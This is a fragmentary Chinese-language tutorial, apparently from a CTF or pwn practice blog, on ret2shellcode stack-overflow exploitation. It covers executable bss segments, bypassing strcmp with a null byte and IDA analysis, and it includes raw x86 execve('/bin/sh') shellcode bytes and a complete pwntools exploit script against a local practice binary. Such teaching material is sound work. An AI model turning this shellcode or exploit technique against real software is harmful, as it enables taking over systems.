ret2shellcode,即控制程序执行 shellcode 代码。一般来说,shellcode 需要我们自己填充。 这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。 在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
system
函数 在正常调用system函数的时候,堆栈位置的system_plt之后的内容为system函数的返回地址,在之后才是新的堆栈的栈顶位置,因此在system_plt和sh_addr之间增加了4个字符来进行填充。
asm(shellcraft.sh())
来生成shellcode,然后将shellcode传入到变量name所在的bss段,最后在第二个用户输入点,发送payload
溢出数据到name变量所在的地址使用64位shellcode
将返回地址修改为64位的地址
EXP
IDA分析源代码
yes\n
才可以保证程序不会被直接执行exit函数 可以再发送payload时,使用\x00
来截断输入
打开IDA查看变量s所在的bss段地址权限
可以看到0804a040所在的bss段得权限位rwx那么BSS段地址即为
构建shellcode
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
绕过strcmp函数
payload = "yes\n"+'\0'
EXP
from pwn import *
r = process('./Ret2shellcode_plus')
context.log_level = 'debug'
bss_addr = 0x0804A048
r.recvuntil("shellcode")
r.sendline(p32(bss_addr)*2+asm(shellcraft.sh()))
r.recvuntil("shellcode????")
payload = ""
payload+= 'yes\x0a\x00'
payload+= '\x00'*3
payload+= p32(bss_addr)*0x10
#payload+= '\x00'*4
r.sendline(payload)
r.interactive()